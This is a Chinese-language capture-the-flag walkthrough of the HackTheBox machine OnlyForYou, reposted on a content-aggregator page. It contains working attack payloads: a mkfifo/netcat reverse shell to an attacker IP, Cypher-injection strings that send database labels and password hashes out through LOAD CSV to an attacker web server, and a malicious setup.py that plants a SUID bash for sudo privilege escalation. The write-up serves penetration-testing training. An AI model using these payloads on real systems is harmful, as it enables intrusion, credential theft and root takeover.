HackTheBox - Medium - Linux - OnlyForYou

OnlyForYou

OnlyForYou 是一台中等难度的 Linux 计算机,其特点是 Web 应用程序容易受到本地文件包含 (LFI) 的影响,该应用程序用于访问源代码,从而揭示盲目命令注入漏洞,从而导致目标系统上的 shell。该计算机运行多个本地服务,其中一个使用默认凭据,并公开易受“Cypher”注入攻击的端点。利用此漏洞会泄漏“Neo4j”数据库中的哈希值,从而授予对计算机的“SSH”访问权限。最后,配置错误的“sudoers”文件允许以“root”权限运行“pip3 download”命令。权限提升是通过在本地“Gogs”服务上创建和托管恶意“Python”包并下载来实现的。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

ffuf扫vhost

file

有一个beta

beta子域

file

在这里的Source code可以下载zip

file

zip是beta的站点源码

file

任意文件读取
@app.route('/download', methods=['POST'])
def download():image = request.form['image']filename = posixpath.normpath(image) if '..' in filename or filename.startswith('../'):flash('Hacking detected!', 'danger')return redirect('/list')if not os.path.isabs(filename):filename = os.path.join(app.config['LIST_FOLDER'], filename)try:if not os.path.isfile(filename):flash('Image doesn\'t exist!', 'danger')return redirect('/list')except (TypeError, ValueError):raise BadRequest()return send_file(filename, as_attachment=True)

在app.py中,/download的实现很明显存在任意文件读取,原因是虽然对filename做了过滤"…"以防止目录遍历,但由于os.path.join的特性,这个函数如果遇到绝对路径,则会直接返回这个绝对路径,从而忽略掉app.config[‘LIST_FOLDER’],所以我们可以不需要…/也可以实现目录遍历

file

读nginx配置文件

file

Foldhold - RCE

知道路径后,读主站的app.py

file

发现那个表单其实是会被处理的,通过import我们可以得知参数被传入了另一个模块里的函数处理

from form import sendmessage

读form.py

file

很明显,常规command injection,但是是盲的。

尝试通过nc连接攻击机,可行

file

常规reverse shell payload

mkfifo+/tmp/f1%3bnc+10.10.14.18+8888+<+/tmp/f1+|+/bin/bash+>+/tmp/f1

file

内部信息收集

ss -tlnp发现好几个端口

传个chisel过去,攻击机开启server

file

目标机器连接过来,反向socks

file

火狐插件

file

3000端口 - Gogs

file

8001端口

file

看见是一个简陋的登录框,弱口令就登进去了

admin:admin

file

在dashboard中可以看到它使用neo4j

file

本地横向移动 -> john

在Employee可以搜索,但是这里存在注入

file

查表

a' CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.18:8000/'+d AS y RETURN y//

file

获取key的属性

a' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [26/Dec/2023 18:21:02] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:04] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:04] "GET /?username=john HTTP/1.1" 200 -

爆john的密码,CrackStation出了明文密码

file

使用这组凭据我们能够通过ssh登录john

file

拿到user flag

本地权限提升

sudo -l

file

这里会从gogs中下载pip包,pip download也会执行setup.py

回到3000端口,使用john的凭据登录,我们可以看到这里有个存储库

file

打法很简单,我们制作恶意pip包,然后上传到gogs存储库中,从而允许我们sudo pip下载恶意pip包从而提权

创建个文件夹,setup.py:

import osos.system('cp /bin/bash /tmp/bash;chmod +s /tmp/bash')from setuptools import setup, find_packages
import syssetup(name="packer",version="0.1.0",author="",author_email="",description="Python Framework.",license="MIT",url="",packages=find_packages(),include_package_data=True,classifiers=["Environment :: Web Environment",'Intended Audience :: Developers','License :: OSI Approved :: MIT License','Natural Language :: Chinese','Operating System :: MacOS','Operating System :: Microsoft','Operating System :: POSIX','Operating System :: Unix','Topic :: NLP','Topic :: Software Development :: Libraries :: Python Modules','Programming Language :: Python :: 3.5','Programming Language :: Python :: 3.6',],zip_safe=True,
)

然后运行setup.py创建tar.gz包

file

然后在存储库中上传文件

file

上传文件且提交后,得到的url是

http://127.0.0.1:3000/john/Test/raw/master/packer-0.1.0.tar.gz

此外还需要做一件事就是将该存储库设为公开,否则因为它是私有的导致无权访问

file

这一切搞定之后,直接sudo

file

root flag还在老地方

file

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/580230.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

unity 保存和加载窗口布局

这么简单的事网上一堆废话文章 右上角&#xff0c;Layout点开后有保存和删除 要切换布局点红框里的已经保存的布局

用CSDN训练的InsCode AI创作博文:数据治理体系建设

想不想用AI帮我们写方案&#xff1f; 想尝试用CSDN提供的InsCode AI创作助手协助我们进行技术方案的创作&#xff0c;看看效果如何&#xff0c;能不能辅助我们日常的方案编写与创作&#xff1f;以前用ChatGPT也尝试过&#xff0c;但对于专业性更强的内容&#xff0c;还有表现的…

pm2的安装和常用命令

PM2 是 Node.js 应用程序的生产流程管理器&#xff0c;内置负载均衡。它可以帮助您保持 Node 应用程序永久活动&#xff0c;重起这些 node 应用程序也不需要停机&#xff0c;并简化常见的系统管理任务。 一、安装 npm install pm2latest -g # or yarn global add pm2 # or pnp…

Linux第一个小程序-进度条(c语言版)

目录 行缓冲区概念&#xff1a; 行缓冲区代码演示&#xff1a; ​编辑进度条代码 1&#xff1a;memset函数&#xff1a; 2&#xff1a;const char* lable"|/-\\"; 3&#xff1a;usleep C语言 usleep 函数的功能和用法&#xff1a; 4&#xff1a;进度条代码的实…

MongoDB数字字符串排序问题

问题描述 MongoDB中有一个集合t_test_sort结构如下&#xff0c;其中数值字段value为字符串类型&#xff0c;现想按照value的数值大小进行降序排列。 {"_id" : ObjectId("656c87b36ca8100cd4a60348"),"name" : "麻了","date&quo…

《Spring Cloud学习笔记:Nacos配置管理 OpenFeign LoadBalancer Getway》

基于Feign的声明式远程调用&#xff08;代码更优雅&#xff09;&#xff0c;用它来去代替我们之前的RestTemplate方式的远程调用 1. Nacos配置管理&#xff1a;Nacos Config 服务配置中心介绍 首先我们来看一下,微服务架构下关于配置文件的一些问题&#xff1a; 配置文件相…

OpenGL :LearnOpenGL笔记

glfw https://github.com/JoeyDeVries/LearnOpenGL/blob/master/src/1.getting_started/1.1.hello_window/hello_window.cpp #include <glad/glad.h>// 注: GLAD的include文件包含所需的OpenGL头文件(如GL/GL.h) &#xff0c;因此确保在其他需要OpenGL的头文件 (如GLFW…

安装向日葵并设置开机自启动

Ubuntu/Deepin系统&#xff1a; 下载向日葵远程安装包 向日葵远程控制app官方下载 - 贝锐向日葵官网向日葵远程控制app官方下载 - 贝锐向日葵官网 图形版安装 图形版下载到本地&#xff0c;然后上传到服务器/home/narada目录下 apt install SunloginClient_11.0.1.44968_am…

添加调试日志,bug消失

参考&#xff1a;就删了个printf&#xff0c;代码崩了&#xff01; 1、运行报错代码 #include "stdio.h" #include "stdlib.h" #include "string.h"void func1() {int arr[10];memset(arr, 1, sizeof(arr)); }void func2() {int index;int* ar…

【PTA】L1-32 Left-pad (C++)

题目链接&#xff1a;L1-032 Left-pad 题目要求&#xff1a; 根据新浪微博上的消息&#xff0c;有一位开发者不满NPM&#xff08;Node Package Manager&#xff09;的做法&#xff0c;收回了自己的开源代码&#xff0c;其中包括一个叫left-pad的模块&#xff0c;就是这个模块…

亚马逊,速卖通,lazada卖家如何快速提升新品星级与评论数量

补单测评在所有的跨境电商中扮演着重要的角色&#xff0c;商家们了解到补单可以快速增加产品的销量、评论数量&#xff0c;提升排名&#xff0c;从而打造爆款产品。产品的购买率和评价对于转化率和平台排名至关重要&#xff01;当排名不断提高&#xff0c;带来的流量也会增加&a…

Java框架基础--maven,http,postman

maven Maven 提供了一个标准的构建生命周期和一组约定的目录结构&#xff0c;以简化和规范项目的构建过程。它主要用于 Java 项目&#xff0c;但也可以用于其他类型的项目。提高了项目的可维护性、可重复性和一致性&#xff0c;简化了构建和依赖管理的复杂性&#xff0c;使得开…

Java guava partition方法拆分集合自定义集合拆分方法

日常开发中&#xff0c;经常遇到拆分集合处理的场景&#xff0c;现在记录2中拆分集合的方法。 1. 使用Guava包提供的集合操作工具栏 Lists.partition()方法拆分 首先&#xff0c;引入maven依赖 <dependency><groupId>com.google.guava</groupId><artifa…

抚琴成一快-琶音

琶音 0.导读1.定义2.作用3.注意事项4.练习方法1.前置知识2.和弦指型图1.大三和弦琶音指型2.小三和弦琶音指型3.大七和弦琶音指型4.小七和弦琶音指型5.属七和弦琶音指型 3.演奏方法1.拨弦方式2.节奏3.其他 99.参考 0.导读 在吉他学习的过程中&#xff0c;大家或多或少都会听到过…

模型树实操

很多时候&#xff0c;数据都是有层级和分类的&#xff0c;使用laravel的Dcat框架&#xff0c;可以快速搭建一个结构清晰、且可以鼠标拖拽排序的后台&#xff1b;先上例子更直观&#xff1a; 这里是Dcat的模型树使用文档&#xff0c;戳一下&#xff1b; 重点注意事项有&#x…

渗透测试(Lab4.2)

配置WebDeveloper的时候遇到一个错误 导入失败&#xff0c;因为 E:…ovf 未通过 OVF 规范一致性或虚拟硬件合规性检查。 请单击“重试”放松 OVF 规范与虚拟硬件合规性检查&#xff0c;并重新尝试导入&#xff1b; 或单击“取消”以取消导入。如果重新尝试导入&#xff0c;可能…

报修系统的流程是怎么样的?有什么好用的售后工单管理系统推荐?

很多制造业公司为了做好售后报修服务&#xff0c;会特意建立一个售后报修系统。我以前有一个做家电的客户&#xff0c;他们公司就是用一个工单系统来处理消费者报修的问题&#xff0c;效果挺不错的。消费者买到的产品有问题的话&#xff0c;直接用微信扫描说明书上面的小程序码…

Ubuntu22.04-安装后Terminal无法调出

参考&#xff1a; Ubuntu20.04 终端打开不了的问题排查_ubuntu终端打不开-CSDN博客 https://blog.csdn.net/u010092716/article/details/130968032 Ubuntu修改locale从而修改语言环境_ubuntu locale-CSDN博客 https://blog.csdn.net/aa1209551258/article/details/81745394 问…

mac使用idea插件 java decomplier反编译jar包

安装插件 这样在本地idea的插件目录下就有 命令 #创建文件夹&#xff0c;用以存放反编译结果jar包 mkdir test#开始反编译文件 java -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompil…

【深度学习-目标检测】05 - YOLOv1 论文学习与总结

论文地址&#xff1a;You Only Look Once:Unified, Real-Time Object Detection 论文学习 1. 摘要 YOLO的提出&#xff1a;作者提出了YOLO&#xff0c;这是一种新的目标检测方法。与传统的目标检测方法不同&#xff0c;YOLO将目标检测视为一个回归问题&#xff0c;直接从图像…